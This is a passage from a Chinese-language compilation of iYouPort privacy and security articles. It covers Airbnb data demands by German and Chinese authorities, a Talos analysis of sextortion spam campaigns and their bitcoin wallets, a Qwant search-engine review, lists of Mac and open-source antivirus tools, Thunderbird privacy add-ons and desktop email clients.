- 这里有更多工具《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 技巧《10个简单技巧 快速验证社交媒体热门视频的真伪》

这些工具都不是万能的，但它们都是调查视觉媒体的一个很好的开始。

更多验证信息的工具和方法，请见 列表-3 “让它民主”。

最后

「图」

本指南应该适合任何突发事件中的公民行动，而不只是流行病。

您可以使用该指南在您所在的社区作为公民培训的基本资料。您还可以添加更多能满足您所在地区特征的技术技巧细节。

感谢 WITNESS 团队的贡献，您可以在他们的专题 COVID19 Response Hub 上找到详细资料。〇

https://lab.witness.org/projects/covid19-response-hub/

1. 行动技巧 (7)

原文

“Airbnb“已废，还可以怎么办 - iYouPort

自我保护措施-技术技巧以防身

提醒人们尤其是敏感人士，需要尽快想到更可靠的旅行

「图」

「图」

像 Airbnb 和优步这样的在线服务喜欢将自己定位为“共享经济”的一部分。事实上，它们只是租赁行业的新曲线，利用互联网广泛的可用性来扩大参与和简化谈判。这导致了在线服务和传统的当地监管机构之间的紧张关系，这是 Techdirt 2016年在美国发现的事。需要提醒的是，类似的战斗仍然在全球范围内进行。正如 Out-Law.com所报道的那样，这就是德国正在发生的事：

慕尼黑市要求 Airbnb 向其提供超过允许的最长租期[一年内的八周]的所有租房信息。具体而言，在 2017 年1月至 2018 年7月期间，它希望 Airbnb 向当局提供所有公寓的地址以及房主的名称和地址。

Airbnb 向慕尼黑行政法院提出了质疑，该法院刚刚裁定这家美国公司必须遵守德国法律，即使其欧洲办事处位于爱尔兰。他们说该请求是合法的，并且与欧盟的隐私法规“没有冲突”。

最后，它裁定如果不符合其信息要求，慕尼黑市威胁要对 Airbnb 征收 300,000 欧元的罚款，这也是完全可以的。据推测，Airbnb 将对此提出上诉，但如果最终 Airbnb 输了，可能会鼓励德国其他城市也提出类似请求。至少事情还没有在中国发生的那么糟糕。

根据 TechNode 的帖子：

中国东部的浙江省要求包括 Airbnb 在内的共享平台向该省的公安部门报告所有者和客人的一切信息。平台需要检查、登记和报告双方的身份，包括客人计划抵达和离开出租房的时间。

该信息提供了一种非常方便的监控在该省旅行的所有人的方式，只要

他们住在 Airbnb 等共享房产里。这是中国当局如何强迫数字服务监视公民的又一个例子。

上述两个消息不仅仅是希望说明无死角监控的“全球化”问题，并且，更重要的是，提醒人们尤其是敏感人士，需要尽快想到更可靠的旅行计划（此处不方便提示）。

German City Wants Names And Addresses Of Airbnb Hosts; Chinese Province Demands Full Details Of Every Guest Too. That information provides a very handy way of keeping tabs on people travelling around the province who stay in Airbnb properties and the like

原文

“缴钱不杀”！恶意行为者如何行动：剖析 sextortion 骗局 - iYouPort

技术-攻击防御和反抗自我保护措施-技术技巧以防身

大多情况下，勒索邮件发送者从公开泄露的数据中获取电子邮件地址和密码，然后使用这些数据来促进 sextortion 攻击。Talos 仔细研究了部分 sector tion 活动，深入了解犯罪分子的运作方式：关于勒索者是如何行动的？看到中国的 IP ？

「图」

「图」

自今年7月以来，越来越多的 sextortion 攻击在互联网上传播。过去几个月，Talos 一直在调查这些活动。

大多情况下，垃圾邮件发送者从公开泄露的数据中获取电子邮件地址和密码，然后使用这些数据来促进 sextortion 攻击。虽然攻击者实际上并没有任何视频来暴露受害者，但他们通过邮件声称：如果受害者在一定时间内没有支付勒索款项，那么他们将传播视频。

虽然这些攻击已持续数月，但 Talos 还是希望仔细研究下其中的一些活动，以了解为什么攻击者的威胁看似很薄弱，但还是有用户被欺骗，且向攻击者发送了大量比特币。通过详细研究 sextortion 垃圾邮件活动，研究人员可以深入了解这些犯罪分子的运作方式。（请仔细看下面这张图）

「图」

「图」

sextortion电子邮件的示例，其中包含对邮件正文措辞的轻微改动

一、**SEXTORTION**分析

为更深入的了解 sextortion 骗局，Talos 提取并分析了两个非常相似

的 sextortion 垃圾邮件活动相关的消息。我们分析的第一个垃圾邮件活动始于2018年8月30日，第二个活动开始于2018年10月5日。在撰写此博客时，这两个攻击仍处于活跃状态。

Talos 从这两个 sextortion 攻击活动中提取了 SpamCop 收到的所有邮件，从2018年8月30日到2018年10月26日，共计58天的垃圾邮件。作为这两个 sextortion 活动的一部分，发送的每条消息都包含一个 From：头部与以下两个正则表达式之一匹配：

From ＝～ /Aaron\d{3}Smith@yahoo\.jp/

From ＝～ /Aaron@Smith\d{3}\.edu/

1. 邮件总数

总的来说，SpamCop 收到了 233,236 封与“Aaron Smith” sextortion 活动相关的电子邮件。消息是从 137,606 个独立的 IP 地址发送的。此活动中的绝大多数发送方 IP，120,659 个（87.7%），发送了两条或更少的消息。

「图」

「图」

SpamCop 收到的 Sextortion 电子邮件数量

发件人 IP 分布在多个国家，但大约50%的信息仅来自五个国家：越南（15.9%），俄罗斯（15.7%），印度（8.5%），印度尼西亚（4.9%）和哈萨克斯坦（4.7%）。如果其中一些国家看起来很熟悉，那是因为印度和越南之前被认为拥有大量被 Necurs 僵尸网络感染的机器，Necurs 是一个恶意软件分发商。

「图」

「图」

按国家/地区统计发件人IP地址

尽管在这些攻击中发送了超过 233,000 封电子邮件，但单独收件人的数量实际上相当低。 Talos 仅发现 15,826 个不同的受害电子邮件地址。这意味着攻击者向每个收件人平均发送近15个 sextortion 垃圾邮件。令人吃惊的是，在我们搜集的数据中，其中一位不幸的受害者被

发送了 354 次。

2. 支付

每个 sextortion 垃圾邮件都包含付款要求。攻击者请求的付款根据具体的攻击而有所不同，但在本例中，它是一个随机生成的数字，由1到7之间的整数后跟三个零（$ 1,000 — $ 7,000）组成。这几种不同的支付金额在整个电子邮件集中的频率几乎相同，这表明攻击者并没有为每个受害者量身定制付款要求。

3. 钱包

除了支付需求之外，每个 sextortion 消息还包含比特币（BTC）钱包地址以便从受害者接收付款。

总的来说，Talos 确定了与这两个垃圾邮件活动相关的 58,611 个独特比特币钱包地址。每个比特币钱包平均对应四条消息。在大约 58,000 个比特币钱包中，只有83个钱包拥有正余额。然而，这83个钱包的余额加起来为 23.3653711 比特币，相当于 146,380.31 美元。不算太糟糕的消息是，攻击者只分发了大约60天这种特殊的骗局，而且实际上并没有任何有关受害者的材料。

如果看一下独立比特币钱包的数量和独立受害者电子邮件地址的时间，可以发现攻击者定期向正在进行的攻击注入新鲜数据。独立的比特币钱包的数量趋于达到峰值，然后随着时间的推移逐渐减少，直到另一批新的攻击者生成的比特币钱包它再次达到峰值。新钱包地址的最后一次注入发生在10月9日。随着时间的推移，对于独立的邮件接收者也可以看到相同的情况，大约在10月9日左右也出现了大量新的收件人。

「图」

「图」

独立/重复的比特币钱包和收件人电子邮件地址

不幸的是，当进一步挖掘具有正余额的个别比特币钱包时，我们注意到了钱包支付金额的一些奇怪之处。几个钱包收到了远远低于此特定攻击活动所要求的最低 1,000 美元付款的转账。付款金额很低，不属于比特币价格波动可以解释的范围。

「图」

「图」

在Aaron Smith sextortion垃圾邮件中发现的比特币钱包包含远低于1000美元转帐的最低需求

研究人员发现，这次攻击中使用的一些钱包也被用于其他攻击。攻击者在不同的垃圾邮件活动中重复使用一些比特币钱包地址。

鉴于攻击者的比特币钱包重用，Talos 决定扩大研究，包括所有提到“比特币”的垃圾邮件，同时邮件正文还拥有一串 26–35 个字符类似于比特币钱包地址。

二、攻击者使用个人信息

在第一个 sextortion 活动中发现的一个案例中，使用了受害者的电话号码而不是泄露数据中的密码。虽然电话号码不像用户密码那样私密，但它仍然是用户隐私。攻击者希望他们能够说服收件人，他们可以通过把受害者的电话号码展现在邮件内，使收件人相信他们的骗局是真的。

「图」

「图」

一个例子：使用受害者电话号码的 sextortion 攻击

如果仔细阅读文本，就会注意到此电子邮件中的大部分文本与 Talos 之前分析的 “Aaron Smith” 活动中包含的文本几乎相同，尤其是结尾段落中的文字。

事实上，在搜索 SpamCop 时，我们发现了一个电子邮件，邮件中攻击者似乎错误的披露了自己的模板，其中包含选择自定义风格的文本，以生成各种邮件正文作为其传播垃圾邮件的一部分。

「图」

「图」

攻击者错误地通过电子邮件发送的 sextortion 模板消息

三、国际化的 **SEXTORTION**

IBM X-Force 的安全研究人员最近发现了一个于2018年9月底通过 Necurs 僵尸网络基础设施发送的 sextortion 活动。利用 IBM 提供的20个比特币钱包（IoC），Talos 确定了近 1,000 个不同的发送方IP地址参与发送“Aaron Smith”垃圾邮件，以及与 Necurs 僵尸网络相关的国际sextortion垃圾邮件。

发送方 IP 基础设施的重叠表明，相同的垃圾邮件发送者都支持这两个攻击活动。除了 X-Force 博客中确定的7种不同语言（ENG，GER，FRE，ITA，JPN，KOR，ARA）之外，Talos 还确定了捷克语，西班牙语，挪威语，瑞典语以及芬兰语中类似的 sextortion 活动的其他变体。

「图」

「图」

一个例子：西班牙语的 sextortion

四、其它攻击变种

还有其他类似的 sextortion 垃圾邮件源自一些相同的 Necurs 僵尸网络基础设施。下面是看起来像支持票证的 sextortion 垃圾邮件的示例。为更加真实，该消息甚至包括正文顶部附近的文字：“相机就绪，通知：「日期」”。

「图」

「图」

一个伪装成“票证”的 sextortion 电子邮件的例子

攻击者在完全不同类型的比特币相关电子邮件骗局中使用了相同的比特币钱包。位于上面“票证”示例中的 BTC 钱包 1HJbQG3NsDGqqnnF1cU2c1Cgj1BT65TYRy 也出现在视频诈骗中。在黄色视频诈骗中，攻击者冒充俄罗斯联邦的一名年轻女孩，并承诺发送一个自己的视频，换取100美元存入攻击者的比特币钱包。

「图」

「图」

包含重复的比特币钱包的 sextortion 诈骗视频消息的示例

Talos 发现了其他重复的比特币钱包，这也显示了同样的垃圾邮件发送者也可能进行其他攻击。例如，比特币钱包 1NAXPRTdVdR5t7wfR1C4ggr9rwFCxqBZD7 不仅出现在上面详述的“票证”类型的 sextortion 诈骗消息中，而且它还出现在另一个不同的方案中，用于从其他重要收件人身上敲诈比特币。垃圾邮件发送者声称一直关注受害者，由此获得了收件人“不忠”（欺骗伴侣）照片的证据。

「图」

「图」

非法关系勒索

五、其它攻击变种（无关的?）

查看来自 SpamCop 的其他与比特币相关的垃圾邮件时，我们看到了其他几种旨在获取比特币的社交工程攻击。在上面详述的 “I-know-you-are-cheatin” 勒索案例中，攻击者声称有证据证明受害人的伴侣实际上在欺骗他们。虽然消息中的文字措辞有点熟悉，但它与其他勒索攻击（例如，通过包含附加的 QR 代码）不同，它实际上可能是完全不同的攻击组织所为。

「图」

「图」

勒索攻击的变体之一 — 向受害者提供伴侣不忠的证据

Talos 还发现了更为可怕和暴力的敲诈勒索相关的信息。在这些消息中，攻击者声称已经付费找人干掉（杀死）收件人。攻击者声称已经安排了交通工具，但由于改变了主意，他们现在愿意将雇主的信息出售给潜在的受害者。

同样，消息和措辞听起来与我们在多个 sextortion 电子邮件中看到的文本非常相似。虽然怀疑它，但 Talos 不能肯定这些暴力勒索电子邮件实际上是同一攻击者所为。

「图」

「图」

暴力勒索消息

六、社交工程的部分案例

我们注意到有一些与比特币相关的垃圾邮件活动，虽然很少能将它们与通过 Necurs 僵尸网络发送的垃圾邮件联系起来，但他们代表了通过社会工程强迫一些受害者的创造性尝试。

首先，针对攻击有快速致富计划倾向的受害者。在此方案中，鼓励收件人将比特币发送到指定钱包地址，他们的比特币将在三小时内神奇的翻倍。这个比特币“倍增器”声称利用了一个未公开的“系统中的错误”。虽然普通用户可能会快速发现这是一个骗局，但是一些没有受过比特币概念教育的用户，很可能受到这种类型垃圾邮件的影响。

「图」

「图」

比特币倍增器电子邮件

其他与比特币相关的垃圾邮件针对那些可能倾向于捐赠给慈善机构的人。虽然减轻受到军事侵略影响儿童的痛苦是一个最令人钦佩的原因，但我们在这个信息中找不到任何迹象表明这是一个合法的慈善组织。

「图」

「图」

可疑的“慈善儿童基金会”电子邮件

我们还发现了一则声称是“正面垃圾邮件”的垃圾邮件。消息正文中写着：“你知道那些不断流传的电子邮件试图勒索你的比特币，声称他们已经破坏了你电脑中的相机，并且他们计划与你的朋友和家人分享一些令人尴尬的视频和照片吗？

「图」

「图」

比特币彩票垃圾邮件

在这封电子邮件底部附近的问答部分，垃圾邮件发送者写道：“问：我们怎么知道这是合法的？答：没有。我们实际上不能在暴露自己和赢家的情况下发布证据。我们道歉但是这是我们能做到的极限。”如果你对整个10月4日的比特币抽奖结果感到好奇，请注意垃圾邮件中提到的比特币钱包只有一笔交易 。这笔交易发生在9月28日，金额为4美元。

七、总结

大多数反垃圾邮件解决方案都会过滤掉明显的 sextortion ，就像我们在本文中强调的那样。然而，这不是全部。当这些类型的垃圾邮件活动进入用户的收件箱时，相信其中许多人可能没有受到足够的教育，无法确定这是一个旨在勒索比特币的骗局。不幸的是，从大量比特币被骗的案例中可以清楚的看出，潜在受害者还有很长的路要走。〇

原文

"鸭子的欧洲版本"？反监视的搜索引擎真的能摆脱美国了吗？ - iYouPort

自我保护措施-技术技巧以防身

是否信任，准确说是信任的程度，完全取决于您

大多数时候，只要文章标题中有问号，其答案都是否定的。

在谷歌的阴暗内幕不断被曝光的大背景下，人们需要完全值得信赖的新替代品。Qwant 显然正在“崛起”，然而由此引起的争议也是非常明显的。

「图」

「图」

Qwant.com 自称为 “尊重您的隐私的 *欧洲* 搜索引擎”。这是 Duck Duck Go 的欧洲版本吗？我们来看看。

首先，观察下搜索结果的效果如何。从基本的新闻搜索开始，输入 “网络安全” 一词。

令人惊讶和满意的是，返回的四个排名最高的结果中有两个是我以前从未在其他地方看到的消息。（search string）

「图」

「图」

在此搜索中您还可以将重点缩小到以下这些方面：

- Web
- News
- Images
- Social
- Maps

- Shopping
- Videos

「图」

「图」

Qwant 真正令人瞩目的地方在于，您不仅可以根据国家/地区，还可以根据语言设置来更改搜索结果。

它似乎以26种界面语言提供了来自34个国家/地区的搜索引擎结果。虽然，要找到不在下拉菜单中的内容是个挑战。

「图」

「图」

我决定在现有的 “网络安全” 搜索中进行测试，并选择法国和法语作为目标国家和语言。得到的结果更新为这样：

「图」

「图」

请注意在法语中 “网络安全” 拼写为 Cybersécurité。如果将搜索字词更新为法语拼写，但使用美国/英语的搜索设置，其搜索结果就会很不好。

如果将搜索设置更改为 USA / French 会使其更好一些，完全将其更改为 France / French 无疑是最好的结果。

因此，请记住以下几点。如果您不是用英语搜索，最好对设置进行一些调整，以确保获得最佳结果。从美国进行搜索尤其如此。

真的离开美国了吗？…… 好像没有

⚠请注意，现在，微软正在为 Qwant 提供支持。这是事实，也是关于Qwant 最大的争议点。

有些人已经开始批评 Qwant，还有人质疑他们对隐私的奉献，甚至质疑他们如何获取信息。该公司在一系列声明和文章中为自己辩护。

在 VivaTech 2019 贸易展览会上，Qwant 和微软宣布了一项合作伙伴关系，以支持 Qwant 惊人的增长—— 即，使用 Microsoft Azure 云。

有媒体称 Qwant 为“欧洲的 Google”或“ Google Killer”。后者可能靠谱，但前者 ……

其它功能

它的功能的确不错。在 Qwant 主页上，您可以轻松找到各种 “趋势。还有一个“社交趋势”部分，其中显示了 Twitter 上一些最流行的主题（对社交媒体的索引不足是谷歌的弱点）。

基于他们提供的所有辅助服务，Qwant 肯定在希望自己成为Google的替代品。

- Qwant Maps
- Qwant Music (可将您重定向到听音乐的地方)
- Qwant Boards (类似 Pinterest)
- Qwant Junior (给孩子的)

最后

如果您最主要在乎的是隐私安全，那么 Duck Duck Go、Firefox 和 Tor浏览器最值得被信任，也易于访问。

不过对开源情报研究的推动作用在于，Qwant 以欧洲为中心的信息和语言设置可以为非英语用户提供更好的结果。

尤其是在谷歌已经越来越明显地操纵算法的情况下，在这里看到《你的手机就是秘密监视设备—Snowden访谈视频》。

但是，最后需要说明的是，Axel Springer 拥有 Qwant 的20%。而前者具有新保守主义意识形态。

综上，是否信任或者准确说信任的程度，完全取决于您。

不要错过《谷歌替代品完整版列表》〇

原文

2019年最好的 Mac 杀毒软件是什么？ - iYouPort

自我保护措施-技术技巧以防身

Mac 被感染病毒的风险已经越来越高，这就是您需要采取保护行动的原因。那么，2019 年最好的 Mac 杀毒软件是什么？

鉴于Macs“不会感染病毒”这种传说的存在，有些人可能会认为选择一款最好的 Mac 防病毒软件是个多余的任务。但尽管苹果机器的危险性不及 Windows，但它们仍然可能被感染病毒。

而且风险在增加，这就是您需要采取保护行动的原因。本文提供一个列表，此列表中的每个产品都是合格的，因为它们专门用于保护 Mac 系统，并且在识别和删除病毒和恶意软件方面得到了很高的评价。

macOS 操作系统基于 Unix 操作系统，它是沙箱。这意味着病毒很难造成任何伤害。把它们想象成锁在一个小盒子里，不管它们怎么努力都无法逃脱。

这意味着您需要特定的 Mac 防病毒软件—无论是最强大的付费保护还是我们在本指南底部介绍的免费下载—这些软件都旨在满足 macOS 的独特需求。

虽然针对 Mac 恶意软件的数量仍远低于针对 Windows 的数量，但它仍然比几年前专家预测的可能性要高出100倍。

以下6个推荐实现100％检测而没有误报

1. Bitdefender Antivirus for Mac

Bitdefender Antivirus for Mac 是市场上最精确的Apple设备防病毒保护套件之一，它具有许多功能，包括多层勒索软件保护、广告软件删除、以及它还可以扫描 Windows PC 恶意软件。

2. Intego Mac Premium Bundle X9

Intego 已经有20年历史，它配备了一个防病毒引擎，可以应对最新的 Mac 威胁，以及Windows 和 Unix 恶意软件的威胁，它还具有用于管理网络权限的完整防火墙。

3. Kaspersky Internet Security for Mac

卡巴斯基在防病毒保护领域备受好评，并凭借其 Internet Security for Mac 软件保持着良好的声誉，这带来了一系列让竞争对手深感不及的功能，包括防范勒索软件、家长控制和工具，确保您可以在线安全购物和处理银行存款。

大量的功能当然是受欢迎的，但如果您正在寻找特定的工具，它可能看起来有点麻烦。

4. Norton Security Deluxe

Norton 是另一个在反病毒世界中广为人知的品牌，Norton Security Deluxe 软件通过优秀的恶意软件检测引擎帮助保护您的 Mac。它可以覆盖一系列设备，因此您不仅可以保护您的 Mac，甚至是您拥有的任何 Windows PC 或移动设备都可以。虽然它提供的安全性很好，但在使用时会对系统速度产生明显影响。

如果你想让你的 Mac 感觉尽可能快，那么可以看看其他选择，但如果你想要强大，可靠的保护，那么无论如何，Norton Security Deluxe 绝对是值得投资的。

接下来的四个推荐实现了99.5%和98.4%之间没有误报：

5. Trend Micro Antivirus for Mac

如果你正在运行最新版本的 macOS，macOS High Sierra（10.13），那么趋势科技防毒软件Mac 版是一个非常好的选择，因为它是为了兼容最近的操作系统而构建的。它带来了防病毒保护、电子邮件诈骗过滤、社交媒体隐私检查、以及新的勒索软件保护工具。自上一版本以来，扫描速度也得到了很多提升，可以更快地检查 Mac 上的病毒。

6. ClamXAV

ClamXAV 没那么最流行，但它是许多IT专业人士最喜欢的 Mac 防病毒软件—不仅仅因为它只为 Apple 电脑创建AV。

这并不意味着它过于复杂—实际上，它具有此列表中所有 Mac 防病毒软件中最简单易用的界面之一。

它特别擅长在电子邮件附件中捕获病毒，虽然它没有其他套件的某些互联网安全工具，但它仍然是保护 Mac 的绝佳选择。

7. ESET Cyber Security for Mac

ESET Cyber Security for Mac 在独立测试实验中得分很高，它不是扫描 Mac 病毒的最快软件，但它深入到您的系统中以确保您的机器完全没有病毒，并且它具有非常有竞争力的价格。

8. F-Secure SAFE

F-Secure SAFE 作为整个家庭的防病毒服务，保护各种设备，包括 PC、智能手机、平板电脑和 Mac，以及强大的家长控制和广告控制。

AV-Test 发现 F-Secure 在2018年3月和4月期间可以抵御**100**%的零日威胁，以及在过去四周内发现的所有普遍流行的恶意软件的威胁。但是截至2018年6月，MacOS 恶意软件的检测率为 96.4%。

尽管如此，它确实提供了一些漂亮的功能，例如网络银行保护，它可以阻止特定网站和应用程序在您登录时与您的系统进行交互，以及针对勒索软件祸害的特定保护措施。

简而言之，F-Secure 的用户友好用户界面和准确的保护能力使其成为一个合适的选择。

想要免费的吗？

无论您使用的是 Mac 还是 PC，争论都是一样的。免费的防病毒产品可有效抵御威胁，但缺乏某些高级功能。Mac 可能被认为比PC更安全，但您仍然可能不会为了节省一些钱而冒险。

排名前5的最佳免费杀毒软件如下：

1. Avast Free Mac Security

Avast Free Mac Security 通过一个非常冗长的功能列表来保护您的 Mac。

例如，核心防病毒引擎提供实时保护，以便在威胁出现时捕获它们。

如果您怀疑有问题，可以运行按需完整系统扫描，或者对特定文件、文件夹或驱动器启动更有针对性的检查。甚至可以安排扫描在您不在时自动运行。

Web Shield 会警告您恶意网站，阻止危险的下载和电子邮件附件，并通过消除侵入式广告跟踪来保护您的隐私。

Avast 的无线网络扫描仪有一个不寻常的额外功能，它可以快速检查您的网络、路由器和连接的设备，提醒您任何漏洞。

Mac 防病毒软件通常不会被独立测试实验室检查，但 Avast 的最新检查结果是好的，AV比较2018测试发现该软件包检测到100%的样本威胁。

如果您还想要更多，升级到 Avast Security Pro 可以获得防勒索软件保护、和 Wi-Fi 入侵者的即时警报、或网络安全性的变化。一台 Mac，一年大概49.99英镑（70美元）。

2. Avira Free Antivirus for Mac

Avira Antivirus for Mac 采用了更简单、更轻量级的方法。没有网络过滤，没有网络扫描或其他安全附加功能：它完全专注于保持您的系统免受恶意软件攻击。

它的实时扫描程序会检查系统访问的任何文件，在它们造成任何伤害之前拦截威胁。调度程序可以设置应用程序以自动扫描您的系统，或者您可以随时检查整个系统。

该应用程序不仅可以防御 Mac 威胁。它还使用 Avira 的 Windows 体验来搜查任何与PC相关的恶意软件，确保您不会共享任何可能危及您朋友的文件。

主要测试实验室暂时没有对 Avira Free Antivirus 进行评估，但 AV Comparatives 上次报告发现Avira 阻止了100%的恶意软件，而且 Avira 在PC上也有强劲的记录，毫不怀疑这是一个值得信赖的应用。

虽然这个列表都是关于免费的 Mac 防病毒软件，但 Avira 的商用 Avira Antivirus Pro 产品值得一提。它包括更多技术支持，并通过一个许可证（Mac，Windows和Android）保护多达三个设备，每年花费39.99英镑（42美元）。

3. Bitdefender Virus Scanner for Mac

Bitdefender Virus Scanner 是一款轻量级免费恶意软件猎手，可以追踪并删除与 Mac 和 Windows 相关的威胁。

简单直接的界面使应用程序非常易于使用。状态显示让您及时了解系统的运行情况，四个按钮可以快速扫描关键位置，深入检查整个系统，或快速扫描正在运行的应用程序或您的文件夹。

Bitdefender 每小时发布一次更新，Virus Scanner 始终在开始扫描之前获取最新版本。

4. Malwarebytes for Mac

Mac 防病毒软件不仅仅是检测最新的最致命的勒索软件或其他高风险威胁。大多数工具还可以删除广告软件和其他可能不需要的程序，这些程序可能不是很危险，但是会浪费系统资源并降低 Mac 速度。

自2006年以来，Malwarebytes 一直在消除各种 Windows 上的威胁，其 Mac 版本同样简单、直接和有效。

该应用程序是一个轻量级的安装，三个数字音乐文件的大小，你几乎没有注意到它的存在。虽然缺乏实时保护意味着 Malwarebytes 无法阻止攻击—只能删除现有的感染—但它也确保对您的系统资源没有实际影响，并且应用程序不太可能与其他防病毒工具冲突。

性能是另一个亮点，Malwarebytes 声称系统在不到15秒的时间内被扫描。安装 Malwarebytes for Mac 还可以为您提供30天的 Premium 试用版，该版本能够检测并阻止出现的威胁。如果你对此不感兴趣，请忽略它；试用期满后，实时保护功能将消失，您只能进行按需扫描。

升级到 Malwarebytes Premium 仅需29.99英镑（38美元），另外还可选择以49.99英镑（65美元）保护多达10台设备。

5. Sophos Home for Mac

免费的防病毒市场竞争非常激烈，个别公司很难脱颖而出，但英国供应商 Sophos 已经找到了一种方法：它在免费产品中为您提供了比许多竞争对手在付费版本中提供的功能更多的功能。

按需扫描以清理受感染的系统？当然。实时保护首先防止攻击？没问题。浏览器过滤阻止访问危险站点？自然。家长控制、以定义您的孩子可以在线访问的内容？是的。

你还可以用一个帐户覆盖最多三台 Mac 或 Windows 设备，并从中央网络控制台远程检查和管理它们的状态—在保护整个家庭时可能非常有用。

AV Test 的2017年12月Mac检测率测试表明，Sophos 提供的保护与 Avast，Bitdefender，Kaspersky 和其他大牌产品相同。

Sophos Home Premium 确实有一些有价值的额外功能：高级勒索软件保护、监控网络摄像头和麦克风的访问、实时聊天和电子邮件支持，以及保护多达10个设备的选项。它功能强大，每年的价格为37.50英镑（48美元）。

总之，选择什么仍然取决于你。也许问题不应该是反病毒软件是否物有所值，而是，你的资产是否比安全应用程序的成本更有价值。

原文

4 个附加组件，以提高您在 Thunderbird 上的隐私 - iYouPort

自我保护措施-技术技巧以防身

Thunderbird 是 Mozilla 开发的流行免费电子邮件客户端。与 Firefox 类似，Thunderbird 提供了大量附加功能，可用于额外的和自定义功能。本文重点介绍四个附加组件，以改善您的隐私。

Enigmail

使用 GPG（GNU Privacy Guard）加密电子邮件是保持内容私密性的最佳方式。如果您不熟悉 GPG，请在这里查看我们提供过的最简易指南。

Enigmail 是 OpenPGP 与 Thunderbird 一起使用的首选附加组件。实际上，Enigmail 与 Thunderbird 集成良好，可让您加密、解密、数字签名和验证电子邮件。

Paranoia

Paranoia 可让您访问有关传入电子邮件的重要信息。使用一个表情符显示电子邮件在到达收件箱之前经过的服务器之间的加密状态

黄色，快乐的表情符号告诉您所有连接都已加密。蓝色，悲伤的表情意味着有一个连接未加密。最后，一个红色的，害怕的表情符号告诉你在多个连接上显示该消息未加密。

根据这些提示及更多详细信息，您可以检查用于传递电子邮件的服务器是否安全。

Sensitivity Header

Sensitivity Header 是一个简单的附加组件，可让您选择发送电子邮件的隐私级别。使用选项菜单，您可以选择一个安全强度：正常、个人、私人和机密。

添加此标头不会为电子邮件添加额外的安全性。但是，某些电子邮件客户端或邮件传输/用户代理（MTA / MUA）可以使用此标头根据不同的安全强度以不同方式处理邮件。

请注意，这个附加组件被开发人员标记为实验性的。

TorBirdy

给所有关心隐私的人，TorBirdy 就是最好的附加组件。它将 Thunderbird 配置为使用 Tor 网络。这是非常棒的。

请注意，要使用此附加组件，必须在系统上安装 Tor。

延伸阅读：//"使用 Tor 保护自己时千万不要做这九件事"//

原文

5 个最好的免费开源反病毒工具 PC版 - iYouPort

自我保护措施-技术技巧以防身

防病毒软件使人们能够轻松使用手机、平板电脑和计算机，能够在网络上更安全地浏览，而不用担心将私人信息传播给其他人（或任何病毒）。

一些好的防病毒软件还包含对来自其他计算机的威胁（如垃圾邮件，网上银行攻击，恶意URL，骗局和钓鱼攻击，在线身份（隐私），社交工程技术，高级持续威胁（APT）和僵尸网络DDoS攻击 的保护措施。

以下是免费开源的、且轻量级的前 5 个 #AntiVirus 工具列表。无论您是初学者还是高级用户，这些都可以帮助您保持计算机的安全：

「图」

「图」

1. 🔐 **Open AntiVirus Project**：其功能包括 VirusHammer，一款独立的病毒扫描程序，包含ScannerDaemon和PatternFinder的项目，提供防病毒保护和Squid-vscan

「图」

「图」

2/ 🔐 **ClamAV** Clam AntiVirus 或 ClamAV 是一款免费的，跨平台开源防病毒软件工具包，用C和C ＋＋编写，并在 GNU 通用公共许可证下授权。4月9日发布，不仅用于 Unix，还适用 AIX，BSD，HP-UX，Linux，macOS，OpenVMS，OSF（Tru64）和Solaris

它可以检测许多类型的恶意软件和病毒，并且可以在邮件服务器上将其用作服务器端电子邮件病毒扫描程序。从版本 0.97.5 开始，ClamAV 在 Microsoft Windows 上构建并运行，并且可以免费下载。

ClamAV 包含许多实用程序，如命令行扫描程序，自动数据库更新程序和可扩展的多线程守护程序，它们在共享库的反病毒引擎上运行。

「图」

「图」

3/ 🔐 "ClamWin" 用于 Windows 的免费和开源防病毒工具，用 C ++和 Python 编写，为 Clam AntiVirus 引擎提供图形用户界面。它是根据 GNU 通用公共许可证授权的。

其功能包括用户登录时的扫描调度程序、自动病毒库更新、以及用于 Windows 资源管理器的具有上下文菜单集成的独立病毒扫描程序。

「图」

「图」

4/ 🔐 "Armadito Antivirus" 一款适用于服务器和 PC 的开源防病毒工具。它保护您的系统免受任何病毒和恶意软件的侵害，并为 Windows 机器提供可用的解决方案。它是通过基于 Web 的中央管理控制台创建的，可以通过直观的界面从任何位置远程使用，可以访问大量功能。其仪表板可以访问按需扫描、实时防护、威胁检测日志、技术支持等。

「图」

「图」

5/ 🔐 "Moon Secure AV" 一款基于 GNU/GPL 协议的免费软件，使用 clamav engine 引擎，功能比较全，查、杀、防病毒，反木马和间谍软件，有防火墙，其功能还包括按需扫描恶意软件，实时保护，实时更新，资源占用率低，可在 XP ＋ 的所有 Windows 上运行。

在这个数字时代，越来越多的人正在使用计算机作为研究和交流的有力工具。但是由于这个革命性的发明和不断的创新，有时我们会觉得交换信息或电子邮件时不再安全。但也正是由于这种进步，创建有助于抵御各种恶意软件的防病毒工具已经成为可能。这些工具不仅能带给你在线安全，并且，如果计算机可以从内部彻底扫描，其使用时间会更长。〇

原文

6 个最好的开源桌面电子邮件客户端 - iyouport

自我保护措施-技术技巧以防身

【2018年6月13日】

对本机应用程序的偏好、易于离线使用、大量插件、跨平台的便利，以及足够的安全性需求，开源桌面电子邮件客户端都能更好的满足您。这里推荐一些相比下较好的

Thunderbird

Thunderbird 最初是由 Mozilla 开发的开源电子邮件客户端，它是跨平台的，具有为用户提供高速、保密性访问电子邮件服务的最新技术。

在 2017 年中期，该项目宣布将取消 Mozilla 的基础设施，但将 Mozilla 基金会作为其法律和财政之家。为了推进该项目，已经招聘了几名新员工，并计划引入新的开发人员，并将代码库转换为基于 Web 技术。

Thunderbird 功能齐全，有许多很好的插件，可添加从日历支持到高级地址簿集成等所有内容，以及许多专业功能，包括主题和大文件管理。

主要功能如下：

- 使用户能够拥有个性化的电子邮件地址
- 一个单击通讯录
- 附件提醒
- 多频道聊天
- 标签和搜索
- 启用搜索网络
- 快速过滤器工具栏
- 消息存档

- 大文件管理
- 安全功能，如网络钓鱼保护，无跟踪
- 自动更新等等

Claws Mail

Claws 邮件是一个基于 GTK ＋ 的用户友好、轻量级和快速的电子邮件客户端，它还包括新闻阅读器功能。 有一个优雅和复杂的用户界面，也支持类似于其他电子邮件客户端的面向键盘的操作。

主要功能包括：

- 高可插拔
- 支持多个电子邮件帐户
- 支持消息过滤
- 颜色标签
- 高度可扩展
- 外部编辑器
- 用户定义的标题
- Mime附件
- 管理 MH 格式的消息，提供快速访问和数据安全性
- 导入和导出来自其他电子邮件客户端的内容

Evolution

